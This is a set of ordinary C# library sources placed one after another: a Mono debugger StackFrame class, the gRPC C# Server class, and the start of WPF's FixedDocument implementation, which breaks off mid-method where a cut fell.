using System; using System.IO; using System.Text; using System.Threading; using System.Threading.Tasks; using Mono.Debugging.Backend; namespace Mono.Debugging.Client { [Serializable] public class StackFrame { long address; string addressSpace; SourceLocation location; IBacktrace sourceBacktrace; string language; int index; bool isExternalCode; bool isDebuggerHidden; bool hasDebugInfo; string fullTypeName; [NonSerialized] DebuggerSession session; [NonSerialized] bool haveParameterValues; [NonSerialized] ObjectValue[] parameters; public StackFrame (long address, string addressSpace, SourceLocation location, string language, bool isExternalCode, bool hasDebugInfo, bool isDebuggerHidden, string fullModuleName, string fullTypeName) { this.address = address; this.addressSpace = addressSpace; this.location = location; this.language = language; this.isExternalCode = isExternalCode; this.isDebuggerHidden = isDebuggerHidden; this.hasDebugInfo = hasDebugInfo; this.FullModuleName = fullModuleName; this.fullTypeName = fullTypeName; } public StackFrame (long address, string addressSpace, SourceLocation location, string language, bool isExternalCode, bool hasDebugInfo, string fullModuleName, string fullTypeName) : this (address, addressSpace, location, language, isExternalCode, hasDebugInfo, false, fullModuleName, fullTypeName) { } [Obsolete] public StackFrame (long address, string addressSpace, SourceLocation location, string language) : this (address, addressSpace, location, language, string.IsNullOrEmpty (location.FileName), true, "", "") { } [Obsolete] public StackFrame (long address, string addressSpace, string module, string method, string filename, int line, string language) : this (address, addressSpace, new SourceLocation (method, filename, line), language) { } public StackFrame (long address, SourceLocation location, string language, bool isExternalCode, bool hasDebugInfo) : this (address, "", location, language, string.IsNullOrEmpty (location.FileName) || isExternalCode, hasDebugInfo, "", "") { } public StackFrame (long address, SourceLocation location, string language) : this (address, "", location, language, string.IsNullOrEmpty (location.FileName), true, "", "") { } internal void Attach (DebuggerSession debugSession) { session = debugSession; } public DebuggerSession DebuggerSession { get { return session; } } public SourceLocation SourceLocation { get { return location; } } public long Address { get { return address; } } public string AddressSpace { get { return addressSpace; } } internal IBacktrace SourceBacktrace { get { return sourceBacktrace; } set { sourceBacktrace = value; } } public int Index { get { return index; } internal set { index = value; } } public string Language { get { return language; } } public bool IsExternalCode { get { return isExternalCode; } } public bool IsDebuggerHidden { get { return isDebuggerHidden; } } public bool HasDebugInfo { get { return hasDebugInfo; } } public string FullModuleName { get; protected set; } public string FullTypeName { get { return fullTypeName; } } /// <summary> /// Gets the full name of the stackframe. Which respects Session.EvaluationOptions.StackFrameFormat /// </summary> [Obsolete] public string FullStackframeText { get { return GetFullStackFrameText (); } } /// <summary> /// Used to ignore a first-chance exception in the given location (module, type, method and IL offset). /// </summary> public string GetLocationSignature () { string methodName = this.SourceLocation.MethodName; if (methodName != null && !methodName.Contains("!")) { methodName = $"{Path.GetFileName (this.FullModuleName)}!{methodName}"; } if (this.Address != 0) { methodName = $"{methodName}:{Address}"; } return methodName; } public string GetFullStackFrameText () { return GetFullStackFrameText (session.EvaluationOptions); } public virtual string GetFullStackFrameText (EvaluationOptions options) { using (var cts = new CancellationTokenSource (options.MemberEvaluationTimeout)) return GetFullStackFrameTextAsync (options, false, cts.Token).GetAwaiter ().GetResult (); } public Task<string> GetFullStackFrameTextAsync (CancellationToken cancellationToken = default (CancellationToken)) { return GetFullStackFrameTextAsync (session.EvaluationOptions, true, cancellationToken); } public virtual Task<string> GetFullStackFrameTextAsync (EvaluationOptions options, CancellationToken cancellationToken = default (CancellationToken)) { return GetFullStackFrameTextAsync (options, true, cancellationToken); } async Task<string> GetFullStackFrameTextAsync (EvaluationOptions options, bool doAsync, CancellationToken cancellationToken) { // If MethodName starts with "[", then it's something like [ExternalCode] if (SourceLocation.MethodName.StartsWith ("[", StringComparison.Ordinal)) return SourceLocation.MethodName; options = options.Clone (); if (options.StackFrameFormat.ParameterValues) { options.AllowMethodEvaluation = true; options.AllowToStringCalls = true; options.AllowTargetInvoke = true; } else { options.AllowMethodEvaluation = false; options.AllowToStringCalls = false; options.AllowTargetInvoke = false; } // Cache the method parameters. Only refresh the method params iff the cached args do not // already have parameter values. Once we have parameter values, we never have to // refresh the cached parameters because we can just omit the parameter values when // constructing the display string. if (parameters == null || (options.StackFrameFormat.ParameterValues && !haveParameterValues)) { haveParameterValues = options.StackFrameFormat.ParameterValues; parameters = GetParameters (options); } var methodNameBuilder = new StringBuilder (); if (options.StackFrameFormat.Module && !string.IsNullOrEmpty (FullModuleName)) { methodNameBuilder.Append (Path.GetFileName (FullModuleName)); methodNameBuilder.Append ('!'); } methodNameBuilder.Append (SourceLocation.MethodName); if (options.StackFrameFormat.ParameterTypes || options.StackFrameFormat.ParameterNames || options.StackFrameFormat.ParameterValues) { methodNameBuilder.Append ('('); for (int n = 0; n < parameters.Length; n++) { if (parameters[n].IsEvaluating) { var tcs = new TaskCompletionSource<bool> (); EventHandler updated = (s, e) => { tcs.TrySetResult (true); }; parameters[n].ValueChanged += updated; try { using (var registration = cancellationToken.Register (() => tcs.TrySetCanceled ())) { if (parameters[n].IsEvaluating) { if (doAsync) { await tcs.Task.ConfigureAwait (false); } else { tcs.Task.Wait (cancellationToken); } } } } finally { parameters[n].ValueChanged -= updated; } } if (n > 0) methodNameBuilder.Append (", "); if (options.StackFrameFormat.ParameterTypes) { methodNameBuilder.Append (parameters[n].TypeName); if (options.StackFrameFormat.ParameterNames) methodNameBuilder.Append (' '); } if (options.StackFrameFormat.ParameterNames) methodNameBuilder.Append (parameters[n].Name); if (options.StackFrameFormat.ParameterValues) { if (options.StackFrameFormat.ParameterTypes || options.StackFrameFormat.ParameterNames) methodNameBuilder.Append (" = "); var val = parameters[n].Value ?? string.Empty; methodNameBuilder.Append (val.Replace ("\r\n", " ").Replace ("\n", " ")); } } methodNameBuilder.Append (')'); } return methodNameBuilder.ToString (); } public ObjectValue[] GetLocalVariables () { return GetLocalVariables (session.EvaluationOptions); } public ObjectValue[] GetLocalVariables (EvaluationOptions options) { if (!hasDebugInfo) { DebuggerLoggingService.LogMessage ("Cannot get local variables: no debugging symbols for frame: {0}", this); return new ObjectValue [0]; } var values = sourceBacktrace.GetLocalVariables (index, options); ObjectValue.ConnectCallbacks (this, values); return values; } public ObjectValue[] GetParameters () { return GetParameters (session.EvaluationOptions); } public ObjectValue[] GetParameters (EvaluationOptions options) { if (!hasDebugInfo) { DebuggerLoggingService.LogMessage ("Cannot get parameters: no debugging symbols for frame: {0}", this); return new ObjectValue [0]; } var values = sourceBacktrace.GetParameters (index, options); ObjectValue.ConnectCallbacks (this, values); return values; } public ObjectValue[] GetAllLocals () { if (!hasDebugInfo) { DebuggerLoggingService.LogMessage ("Cannot get local variables: no debugging symbols for frame: {0}", this); return new ObjectValue [0]; } var evaluator = session.FindExpressionEvaluator (this); return evaluator != null ? evaluator.GetLocals (this) : GetAllLocals (session.EvaluationOptions); } public ObjectValue[] GetAllLocals (EvaluationOptions options) { if (!hasDebugInfo) { DebuggerLoggingService.LogMessage ("Cannot get local variables: no debugging symbols for frame: {0}", this); return new ObjectValue [0]; } var values = sourceBacktrace.GetAllLocals (index, options); ObjectValue.ConnectCallbacks (this, values); return values; } public ObjectValue GetThisReference () { return GetThisReference (session.EvaluationOptions); } public ObjectValue GetThisReference (EvaluationOptions options) { if (!hasDebugInfo) { DebuggerLoggingService.LogMessage ("Cannot get `this' reference: no debugging symbols for frame: {0}", this); return null; } var value = sourceBacktrace.GetThisReference (index, options); if (value != null) ObjectValue.ConnectCallbacks (this, value); return value; } public ExceptionInfo GetException () { return GetException (session.EvaluationOptions); } public ExceptionInfo GetException (EvaluationOptions options) { var value = sourceBacktrace.GetException (index, options); if (value != null) value.ConnectCallback (this); return value; } public string ResolveExpression (string exp) { return session.ResolveExpression (exp, location); } public ObjectValue[] GetExpressionValues (string[] expressions, bool evaluateMethods) { var options = session.EvaluationOptions.Clone (); options.AllowMethodEvaluation = evaluateMethods; return GetExpressionValues (expressions, options); } public ObjectValue[] GetExpressionValues (string[] expressions, EvaluationOptions options) { if (!hasDebugInfo) { DebuggerLoggingService.LogMessage ("Cannot get expression values: no debugging symbols for frame: {0}", this); var vals = new ObjectValue [expressions.Length]; for (int n = 0; n < expressions.Length; n++) vals[n] = ObjectValue.CreateUnknown (expressions[n]); return vals; } if (options.UseExternalTypeResolver) { var resolved = new string [expressions.Length]; for (int n = 0; n < expressions.Length; n++) resolved[n] = ResolveExpression (expressions[n]); expressions = resolved; } var values = sourceBacktrace.GetExpressionValues (index, expressions, options); ObjectValue.ConnectCallbacks (this, values); return values; } public ObjectValue GetExpressionValue (string expression, bool evaluateMethods) { var options = session.EvaluationOptions.Clone (); options.AllowMethodEvaluation = evaluateMethods; return GetExpressionValue (expression, options); } public ObjectValue GetExpressionValue (string expression, EvaluationOptions options) { if (!hasDebugInfo) { DebuggerLoggingService.LogMessage ("Cannot get expression value: no debugging symbols for frame: {0}", this); return ObjectValue.CreateUnknown (expression); } if (options.UseExternalTypeResolver) expression = ResolveExpression (expression); var values = sourceBacktrace.GetExpressionValues (index, new [] { expression }, options); ObjectValue.ConnectCallbacks (this, values); return values [0]; } /// <summary> /// Returns True if the expression is valid and can be evaluated for this frame. /// </summary> public bool ValidateExpression (string expression) { return ValidateExpression (expression, session.EvaluationOptions); } /// <summary> /// Returns True if the expression is valid and can be evaluated for this frame. /// </summary> public ValidationResult ValidateExpression (string expression, EvaluationOptions options) { if (options.UseExternalTypeResolver) expression = ResolveExpression (expression); return sourceBacktrace.ValidateExpression (index, expression, options); } public CompletionData GetExpressionCompletionData (string exp) { return hasDebugInfo ? sourceBacktrace.GetExpressionCompletionData (index, exp) : null; } // Returns disassembled code for this stack frame. // firstLine is the relative code line. It can be negative. public AssemblyLine[] Disassemble (int firstLine, int count) { return sourceBacktrace.Disassemble (index, firstLine, count); } public override string ToString() { string loc; if (location.Line != -1 && !string.IsNullOrEmpty (location.FileName)) { loc = " at " + location.FileName + ":" + location.Line; if (location.Column != 0) loc += "," + location.Column; } else if (!string.IsNullOrEmpty (location.FileName)) { loc = " at " + location.FileName; } else { loc = string.Empty; } return string.Format ("0x{0:X} in {1}{2}", address, location.MethodName, loc); } public void UpdateSourceFile (string newFilePath) { location = new SourceLocation (location.MethodName, newFilePath, location.Line, location.Column, location.EndLine, location.EndColumn, location.FileHash, location.SourceLink); } } [Serializable] public struct ValidationResult { readonly string message; readonly bool isValid; public ValidationResult (bool isValid, string message) { this.isValid = isValid; this.message = message; } public bool IsValid { get { return isValid; } } public string Message { get { return message; } } public static implicit operator bool (ValidationResult result) { return result.isValid; } } }
#region Copyright notice and license // Copyright 2015, Google Inc. // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #endregion using System; using System.Collections; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Grpc.Core.Internal; using Grpc.Core.Logging; using Grpc.Core.Utils; namespace Grpc.Core { /// <summary> /// gRPC server. A single server can server arbitrary number of services and can listen on more than one ports. /// </summary> public class Server { const int InitialAllowRpcTokenCountPerCq = 10; static readonly ILogger Logger = GrpcEnvironment.Logger.ForType<Server>(); readonly AtomicCounter activeCallCounter = new AtomicCounter(); readonly ServiceDefinitionCollection serviceDefinitions; readonly ServerPortCollection ports; readonly GrpcEnvironment environment; readonly List<ChannelOption> options; readonly ServerSafeHandle handle; readonly object myLock = new object(); readonly List<ServerServiceDefinition> serviceDefinitionsList = new List<ServerServiceDefinition>(); readonly List<ServerPort> serverPortList = new List<ServerPort>(); readonly Dictionary<string, IServerCallHandler> callHandlers = new Dictionary<string, IServerCallHandler>(); readonly TaskCompletionSource<object> shutdownTcs = new TaskCompletionSource<object>(); bool startRequested; volatile bool shutdownRequested; /// <summary> /// Creates a new server. /// </summary> public Server() : this(null) { } /// <summary> /// Creates a new server. /// </summary> /// <param name="options">Channel options.</param> public Server(IEnumerable<ChannelOption> options) { this.serviceDefinitions = new ServiceDefinitionCollection(this); this.ports = new ServerPortCollection(this); this.environment = GrpcEnvironment.AddRef(); this.options = options != null ? new List<ChannelOption>(options) : new List<ChannelOption>(); using (var channelArgs = ChannelOptions.CreateChannelArgs(this.options)) { this.handle = ServerSafeHandle.NewServer(channelArgs); } foreach (var cq in environment.CompletionQueues) { this.handle.RegisterCompletionQueue(cq); } GrpcEnvironment.RegisterServer(this); } /// <summary> /// Services that will be exported by the server once started. Register a service with this /// server by adding its definition to this collection. /// </summary> public ServiceDefinitionCollection Services { get { return serviceDefinitions; } } /// <summary> /// Ports on which the server will listen once started. Register a port with this /// server by adding its definition to this collection. /// </summary> public ServerPortCollection Ports { get { return ports; } } /// <summary> /// To allow awaiting termination of the server. /// </summary> public Task ShutdownTask { get { return shutdownTcs.Task; } } /// <summary> /// Starts the server. /// </summary> public void Start() { lock (myLock) { GrpcPreconditions.CheckState(!startRequested); GrpcPreconditions.CheckState(!shutdownRequested); startRequested = true; handle.Start(); // Starting with more than one AllowOneRpc tokens can significantly increase // unary RPC throughput. for (int i = 0; i < InitialAllowRpcTokenCountPerCq; i++) { foreach (var cq in environment.CompletionQueues) { AllowOneRpc(cq); } } } } /// <summary> /// Requests server shutdown and when there are no more calls being serviced, /// cleans up used resources. The returned task finishes when shutdown procedure /// is complete. /// </summary> /// <remarks> /// It is strongly recommended to shutdown all previously created servers before exiting from the process. /// </remarks> public Task ShutdownAsync() { return ShutdownInternalAsync(false); } /// <summary> /// Requests server shutdown while cancelling all the in-progress calls. /// The returned task finishes when shutdown procedure is complete. /// </summary> /// <remarks> /// It is strongly recommended to shutdown all previously created servers before exiting from the process. /// </remarks> public Task KillAsync() { return ShutdownInternalAsync(true); } internal void AddCallReference(object call) { activeCallCounter.Increment(); bool success = false; handle.DangerousAddRef(ref success); GrpcPreconditions.CheckState(success); } internal void RemoveCallReference(object call) { handle.DangerousRelease(); activeCallCounter.Decrement(); } /// <summary> /// Shuts down the server. /// </summary> private async Task ShutdownInternalAsync(bool kill) { lock (myLock) { GrpcPreconditions.CheckState(!shutdownRequested); shutdownRequested = true; } GrpcEnvironment.UnregisterServer(this); var cq = environment.CompletionQueues.First(); // any cq will do handle.ShutdownAndNotify(HandleServerShutdown, cq); if (kill) { handle.CancelAllCalls(); } await ShutdownCompleteOrEnvironmentDeadAsync().ConfigureAwait(false); DisposeHandle(); await GrpcEnvironment.ReleaseAsync().ConfigureAwait(false); } /// <summary> /// In case the environment's threadpool becomes dead, the shutdown completion will /// never be delivered, but we need to release the environment's handle anyway. /// </summary> private async Task ShutdownCompleteOrEnvironmentDeadAsync() { while (true) { var task = await Task.WhenAny(shutdownTcs.Task, Task.Delay(20)).ConfigureAwait(false); if (shutdownTcs.Task == task) { return; } if (!environment.IsAlive) { return; } } } /// <summary> /// Adds a service definition. /// </summary> private void AddServiceDefinitionInternal(ServerServiceDefinition serviceDefinition) { lock (myLock) { GrpcPreconditions.CheckState(!startRequested); foreach (var entry in serviceDefinition.CallHandlers) { callHandlers.Add(entry.Key, entry.Value); } serviceDefinitionsList.Add(serviceDefinition); } } /// <summary> /// Adds a listening port. /// </summary> private int AddPortInternal(ServerPort serverPort) { lock (myLock) { GrpcPreconditions.CheckNotNull(serverPort.Credentials, "serverPort"); GrpcPreconditions.CheckState(!startRequested); var address = string.Format("{0}:{1}", serverPort.Host, serverPort.Port); int boundPort; using (var nativeCredentials = serverPort.Credentials.ToNativeCredentials()) { if (nativeCredentials != null) { boundPort = handle.AddSecurePort(address, nativeCredentials); } else { boundPort = handle.AddInsecurePort(address); } } var newServerPort = new ServerPort(serverPort, boundPort); this.serverPortList.Add(newServerPort); return boundPort; } } /// <summary> /// Allows one new RPC call to be received by server. /// </summary> private void AllowOneRpc(CompletionQueueSafeHandle cq) { if (!shutdownRequested) { handle.RequestCall((success, ctx) => HandleNewServerRpc(success, ctx, cq), cq); } } private void DisposeHandle() { var activeCallCount = activeCallCounter.Count; if (activeCallCount > 0) { Logger.Warning("Server shutdown has finished but there are still {0} active calls for that server.", activeCallCount); } handle.Dispose(); } /// <summary> /// Selects corresponding handler for given call and handles the call. /// </summary> private async Task HandleCallAsync(ServerRpcNew newRpc, CompletionQueueSafeHandle cq) { try { IServerCallHandler callHandler; if (!callHandlers.TryGetValue(newRpc.Method, out callHandler)) { callHandler = NoSuchMethodCallHandler.Instance; } await callHandler.HandleCall(newRpc, cq).ConfigureAwait(false); } catch (Exception e) { Logger.Warning(e, "Exception while handling RPC."); } } /// <summary> /// Handles the native callback. /// </summary> private void HandleNewServerRpc(bool success, BatchContextSafeHandle ctx, CompletionQueueSafeHandle cq) { Task.Run(() => AllowOneRpc(cq)); if (success) { ServerRpcNew newRpc = ctx.GetServerRpcNew(this); // after server shutdown, the callback returns with null call if (!newRpc.Call.IsInvalid) { HandleCallAsync(newRpc, cq); // we don't need to await. } } } /// <summary> /// Handles native callback. /// </summary> private void HandleServerShutdown(bool success, BatchContextSafeHandle ctx) { shutdownTcs.SetResult(null); } /// <summary> /// Collection of service definitions. /// </summary> public class ServiceDefinitionCollection : IEnumerable<ServerServiceDefinition> { readonly Server server; internal ServiceDefinitionCollection(Server server) { this.server = server; } /// <summary> /// Adds a service definition to the server. This is how you register /// handlers for a service with the server. Only call this before Start(). /// </summary> public void Add(ServerServiceDefinition serviceDefinition) { server.AddServiceDefinitionInternal(serviceDefinition); } /// <summary> /// Gets enumerator for this collection. /// </summary> public IEnumerator<ServerServiceDefinition> GetEnumerator() { return server.serviceDefinitionsList.GetEnumerator(); } IEnumerator IEnumerable.GetEnumerator() { return server.serviceDefinitionsList.GetEnumerator(); } } /// <summary> /// Collection of server ports. /// </summary> public class ServerPortCollection : IEnumerable<ServerPort> { readonly Server server; internal ServerPortCollection(Server server) { this.server = server; } /// <summary> /// Adds a new port on which server should listen. /// Only call this before Start(). /// <returns>The port on which server will be listening.</returns> /// </summary> public int Add(ServerPort serverPort) { return server.AddPortInternal(serverPort); } /// <summary> /// Adds a new port on which server should listen. /// <returns>The port on which server will be listening.</returns> /// </summary> /// <param name="host">the host</param> /// <param name="port">the port. If zero, an unused port is chosen automatically.</param> /// <param name="credentials">credentials to use to secure this port.</param> public int Add(string host, int port, ServerCredentials credentials) { return Add(new ServerPort(host, port, credentials)); } /// <summary> /// Gets enumerator for this collection. /// </summary> public IEnumerator<ServerPort> GetEnumerator() { return server.serverPortList.GetEnumerator(); } IEnumerator IEnumerable.GetEnumerator() { return server.serverPortList.GetEnumerator(); } } } }
//--------------------------------------------------------------------------- // <copyright file="FixedDocument.cs" company="Microsoft"> // Copyright (C) 2003 by Microsoft Corporation. All rights reserved. // </copyright> // // Description: // Implements the FixedDocument element // // History: // 06/03/2003 - Zhenbin Xu (ZhenbinX) - Created. // 03/02/2004 - Zhenbin Xu (ZhenbinX) - Page-Per-Stream // // http://edocs/payloads/Payloads%20Features/FixedPage%20changes.mht // //--------------------------------------------------------------------------- namespace System.Windows.Documents { using MS.Internal; // DoubleUtil using MS.Internal.Documents; using MS.Utility; // ExceptionStringTable using MS.Internal.Utility; using System.Windows.Threading; // Dispatcher using System.Windows; // DependencyID etc. using System.Windows.Automation.Peers; // AutomationPeer using System.Windows.Documents; // DocumentPaginator using System.Windows.Documents.DocumentStructures; using System.Windows.Media; // Visual using System.Windows.Markup; // IAddChild, ContentPropertyAttribute using System.Windows.Shapes; // Glyphs using System; using System.IO; using System.IO.Packaging; using System.Net; using System.Collections; using System.Collections.Generic; using System.ComponentModel; // DesignerSerializationVisibility using System.Diagnostics; using System.Globalization; using System.Runtime.Serialization.Formatters.Binary; using MS.Internal.Annotations.Component; using System.Windows.Navigation; using System.Windows.Controls; using System.Text; using MS.Internal.IO.Packaging; using System.Security; using System.Security.Permissions; //===================================================================== /// <summary> /// FixedDocument is the spine of a portable, high fidelity fixed-format /// document, where the pages are stitched together. The FixedDocument /// elements provides and formats pages as requested. It also provides /// a Text OM on top of the fixed-format document to allow for read-only /// editing (selection, keyboard navigation, find, etc.). /// </summary> [ContentProperty("Pages")] public class FixedDocument : FrameworkContentElement, IDocumentPaginatorSource, IAddChildInternal, IServiceProvider, IFixedNavigate, IUriContext { //-------------------------------------------------------------------- // // Constructors // //--------------------------------------------------------------------- #region Constructors static FixedDocument() { FocusableProperty.OverrideMetadata(typeof(FixedDocument), new FrameworkPropertyMetadata(true)); NavigationService.NavigationServiceProperty.OverrideMetadata( typeof(FixedDocument), new FrameworkPropertyMetadata(new PropertyChangedCallback(FixedHyperLink.OnNavigationServiceChanged))); } /// <summary> /// Default FixedDocument constructor /// </summary> /// <remarks> /// Automatic determination of current UIContext. Use alternative constructor /// that accepts a UIContext for best performance. /// </remarks> public FixedDocument() : base() { _Init(); } #endregion Constructors //-------------------------------------------------------------------- // // Public Methods // //--------------------------------------------------------------------- #region IServiceProvider Members /// <summary> /// Returns service objects associated with this control. /// </summary> /// <remarks> /// FixedDocument currently supports TextContainer. /// </remarks> /// <exception cref="ArgumentNullException">serviceType is NULL.</exception> /// <param name="serviceType"> /// Specifies the type of service object to get. /// </param> object IServiceProvider.GetService(Type serviceType) { // Dispatcher.VerifyAccess(); if (serviceType == null) { throw new ArgumentNullException("serviceType"); } if (serviceType == typeof(ITextContainer)) { return this.FixedContainer; } if (serviceType == typeof(RubberbandSelector)) { // create this on demand, but not through the property, only through the // service, so it is only created when it's actually used if (_rubberbandSelector == null) { _rubberbandSelector = new RubberbandSelector(); } return _rubberbandSelector; } return null; } #endregion IServiceProvider Members #region IAddChild ///<summary> /// Called to Add the object as a Child. ///</summary> /// <exception cref="ArgumentNullException">value is NULL.</exception> /// <exception cref="ArgumentException">value is not of type PageContent.</exception> /// <exception cref="InvalidOperationException">A PageContent cannot be added while previous partial page isn't completely Loaded.</exception> ///<param name="value"> /// Object to add as a child ///</param> void IAddChild.AddChild(Object value) { if (value == null) { throw new ArgumentNullException("value"); } // Dispatcher.VerifyAccess(); PageContent fp = value as PageContent; if (fp == null) { throw new ArgumentException(SR.Get(SRID.UnexpectedParameterType, value.GetType(), typeof(PageContent)), "value"); } if (fp.IsInitialized) { _pages.Add(fp); } else { DocumentsTrace.FixedFormat.FixedDocument.Trace(string.Format("Page {0} Deferred", _pages.Count)); if (_partialPage == null) { _partialPage = fp; _partialPage.ChangeLogicalParent(this); _partialPage.Initialized += new EventHandler(OnPageLoaded); } else { throw new InvalidOperationException(SR.Get(SRID.PrevoiusPartialPageContentOutstanding)); } } } ///<summary> /// Called when text appears under the tag in markup ///</summary> ///<param name="text"> /// Text to Add to the Object ///</param> /// <ExternalAPI/> void IAddChild.AddText(string text) { XamlSerializerUtil.ThrowIfNonWhiteSpaceInAddText(text, this); } #endregion #region IUriContext /// <summary> /// <see cref="IUriContext.BaseUri" /> /// </summary> Uri IUriContext.BaseUri { get { return (Uri) GetValue(BaseUriHelper.BaseUriProperty); } set { SetValue(BaseUriHelper.BaseUriProperty, value); } } #endregion IUriContext #region IFixedNavigate void IFixedNavigate.NavigateAsync(string elementID) { if (IsPageCountValid == true) { FixedHyperLink.NavigateToElement(this, elementID); } else { _navigateAfterPagination = true; _navigateFragment = elementID; } } UIElement IFixedNavigate.FindElementByID(string elementID, out FixedPage rootFixedPage) { UIElement uiElementRet = null; rootFixedPage = null; if (Char.IsDigit(elementID[0])) { // //We convert string to a page number here. // int pageNumber = Convert.ToInt32(elementID, CultureInfo.InvariantCulture); // // Metro defines all external page are 1 based. All internals are 0 based. // pageNumber --; uiElementRet = GetFixedPage(pageNumber); rootFixedPage = GetFixedPage(pageNumber); } else { // // We need iterate through the PageContentCollect first. // PageContentCollection pc = this.Pages; PageContent pageContent; FixedPage fixedPage; for (int i = 0, n = pc.Count; i < n; i++) { pageContent = pc[i]; // // If PageStream is non null, it is not PPS. Otherwise, need to check LinkTargets collection // of PageContent // if (pageContent.PageStream != null) { fixedPage = GetFixedPage(i); if (fixedPage != null) { uiElementRet = ((IFixedNavigate)fixedPage).FindElementByID(elementID, out rootFixedPage); if (uiElementRet != null) { break; } } } else { if (pageContent.ContainsID(elementID)) { fixedPage = GetFixedPage(i); if (fixedPage != null) { uiElementRet = ((IFixedNavigate)fixedPage).FindElementByID(elementID, out rootFixedPage); if (uiElementRet == null) { // return that page if we can't find the named fragment uiElementRet = fixedPage; } // // we always break here because pageContent include the named fragment // break; } } } } } return uiElementRet; } internal NavigationService NavigationService { get { return (NavigationService) GetValue(NavigationService.NavigationServiceProperty); } set { SetValue(NavigationService.NavigationServiceProperty, value); } } #endregion #region LogicalTree /// <summary> /// Returns enumerator to logical children /// </summary> protected internal override IEnumerator LogicalChildren { get { // this.Dispatcher.VerifyAccess(); return this.Pages.GetEnumerator(); } } #endregion LogicalTree #region IDocumentPaginatorSource Members /// <summary> /// An object which paginates content. /// </summary> public DocumentPaginator DocumentPaginator { get { return _paginator; } } #endregion IDocumentPaginatorSource Members #region Document Overrides /// <summary> /// <see cref="System.Windows.Documents.DocumentPaginator.GetPage(int)"/> /// </summary> /// <exception cref="ArgumentOutOfRangeException">pageNumber is less than zero.</exception> /// <param name="pageNumber"> /// The page number. /// </param> internal DocumentPage GetPage(int pageNumber) { DocumentsTrace.FixedFormat.IDF.Trace(string.Format("IDP.GetPage({0})", pageNumber)); // Make sure that the call is in the right context. // Dispatcher.VerifyAccess(); // Page number cannot be negative. if (pageNumber < 0) { throw new ArgumentOutOfRangeException("pageNumber", SR.Get(SRID.IDPNegativePageNumber)); } if (pageNumber < Pages.Count) { // // If we are not out of bound, try next page // FixedPage page = SyncGetPage(pageNumber, false/*forceReload*/); if (page == null) { return DocumentPage.Missing; } Debug.Assert(page != null); Size fixedSize = ComputePageSize(page); // Always measure with fixed size instead of using constraint FixedDocumentPage dp = new FixedDocumentPage(this, page, fixedSize, pageNumber); page.Measure(fixedSize); page.Arrange(new Rect(new Point(), fixedSize)); return dp; } return DocumentPage.Missing; } /// <summary> /// <see cref="System.Windows.Documents.DocumentPaginator.GetPageAsync(int,object)"/> /// </summary> /// <exception cref="ArgumentOutOfRangeException">pageNumber is less than zero.</exception> /// <exception cref="ArgumentNullException">userState is NULL.</exception> internal void GetPageAsync(int pageNumber, object userState) { DocumentsTrace.FixedFormat.IDF.Trace(string.Format("IDP.GetPageAsync({0}, {1})", pageNumber, userState)); // Make sure that the call is in the right context. // Dispatcher.VerifyAccess(); // Page number cannot be negative. if (pageNumber < 0) { throw new ArgumentOutOfRangeException("pageNumber", SR.Get(SRID.IDPNegativePageNumber)); } if (userState == null) { throw new ArgumentNullException("userState"); } if (pageNumber < Pages.Count) { PageContent pc = Pages[pageNumber]; // Add to outstanding AsyncOp list GetPageAsyncRequest asyncRequest = new GetPageAsyncRequest(pc, pageNumber, userState); _asyncOps[userState] = asyncRequest; DispatcherOperationCallback queueTask = new DispatcherOperationCallback(GetPageAsyncDelegate); Dispatcher.BeginInvoke(DispatcherPriority.Background, queueTask, asyncRequest); } else { _NotifyGetPageAsyncCompleted(DocumentPage.Missing, pageNumber, null, false, userState); } } /// <summary> /// <see cref="DynamicDocumentPaginator.GetPageNumber"/> /// </summary> /// <exception cref="ArgumentNullException">contentPosition is NULL.</exception> /// <exception cref="ArgumentException">ContentPosition does not exist within this element?s tree.</exception> internal int GetPageNumber(ContentPosition contentPosition) { // Dispatcher.VerifyAccess(); if (contentPosition == null) { throw new ArgumentNullException("contentPosition"); } FixedTextPointer fixedTextPointer = contentPosition as FixedTextPointer; if (fixedTextPointer == null) { throw new ArgumentException(SR.Get(SRID.IDPInvalidContentPosition)); } return fixedTextPointer.FixedTextContainer.GetPageNumber(fixedTextPointer); } /// <summary> /// <see cref="System.Windows.Documents.DocumentPaginator.CancelAsync"/> /// </summary> /// <exception cref="ArgumentNullException">userState is NULL.</exception> internal void CancelAsync(object userState) { DocumentsTrace.FixedFormat.IDF.Trace(string.Format("IDP.GetPageAsyncCancel([{0}])", userState)); // Dispatcher.VerifyAccess(); if (userState == null) { throw new ArgumentNullException("userState"); } GetPageAsyncRequest asyncRequest; if (_asyncOps.TryGetValue(userState,out asyncRequest)) { if (asyncRequest != null) { asyncRequest.Cancelled = true; asyncRequest.PageContent.GetPageRootAsyncCancel(); } } } /// <summary> /// <see cref="DynamicDocumentPaginator.GetObjectPosition"/> /// </summary> /// <exception cref="ArgumentNullException">element is NULL.</exception> internal ContentPosition GetObjectPosition(Object o) { if (o == null) { throw new ArgumentNullException("o"); } DependencyObject element = o as DependencyObject; if (element == null) { throw new ArgumentException(SR.Get(SRID.FixedDocumentExpectsDependencyObject)); } DocumentsTrace.FixedFormat.IDF.Trace(string.Format("IDF.GetContentPositionForElement({0})", element)); // Make sure that the call is in the right context. // Dispatcher.VerifyAccess(); // walk up 